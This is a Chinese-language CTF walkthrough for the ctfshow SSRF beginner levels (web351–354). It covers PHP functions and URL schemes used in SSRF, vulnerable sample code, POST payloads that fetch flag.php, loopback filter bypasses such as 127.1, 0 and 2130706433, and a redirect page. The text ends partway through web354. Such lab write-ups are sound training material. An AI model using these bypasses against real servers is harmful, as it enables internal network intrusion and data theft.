ctfshow web入门SSRF

相关函数和类

file_get_contents()：将整个文件或一个url所指向的文件读入一个字符串中
readfile()：输出一个文件的内容
fsockopen()：打开一个网络连接或者一个Unix 套接字连接
curl_exec()：初始化一个新的会话，返回一个cURL句柄，供curl_setopt()，curl_exec()和curl_close() 函数使用
fopen()：打开一个文件文件或者 URLPHP原生类SoapClient在触发反序列化时可导致SSRF

相关协议
file协议： 在有回显的情况下，利用 file 协议可以读取任意文件的内容
dict协议：泄露安装软件版本信息，查看端口，操作内网redis服务等
gopher协议：gopher支持发出GET、POST请求。可以先截获get请求包和post请求包，再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell
http/s协议：探测内网主机存活利用方式

1.让服务端去访问相应的网址
2.让服务端去访问自己所处内网的一些指纹文件来判断是否存在相应的cms
3.可以使用file、dict、gopher[11]、ftp协议进行请求访问相应的文件
4.攻击内网web应用（可以向内部任意主机的任意端口发送精心构造的数据包{payload}）
5.攻击内网应用程序（利用跨协议通信技术）
6.判断内网主机是否存活：方法是访问看是否有端口开放
7.DoS攻击（请求大文件，始终保持连接keep-alive always）

 

web351

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>
# curl_init — 初始化 cURL 会话 
# curl_setopt — 设置一个cURL传输选项 
# curl_exec — 执行 cURL 会话 
# curl_close — 关闭 cURL 会话

payload:url=file://var/www/html/flag.php

　　　　url=http://localhost/flag.php

web352

1.必须包含http，不能用file了

 2.过滤没有输入参数，实际是为了过滤localhost，但是他代码没对，没有加入参数，结果啥也没过滤

 

web353

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

http读取，这道题就的过滤就正确了，不能有127.0.0.1或者localhost

• 127.1会被解析成127.0.0.1，也就意味着为零可缺省
• 在Linux中，0也会被解析成127.0.0.1
• 127.0.0.0/8是一个环回地址网段，从127.0.0.1 ~ 127.255.255.254都表示localhost
• ip地址还可以通过表示成其他进制的形式访问，IP地址二进制、十进制、十六进制互换

payload：

[POST]payload：url=http://127.1/flag.php
[POST]payload：url=http://0/flag.php
[POST]payload：url=http://127.255.255.254/flag.php
[POST]payload：url=http://2130706433/flag.php

 

web354

直接过滤了1，0

1.http://sudo.cc这个域名就是指向127.0.0.1

2.可以跳转到一个自己搭建的网站，再通过自己网站的自动跳转

自己页面添加

<?php
header("Location:http://127.0.0.1/flag.php");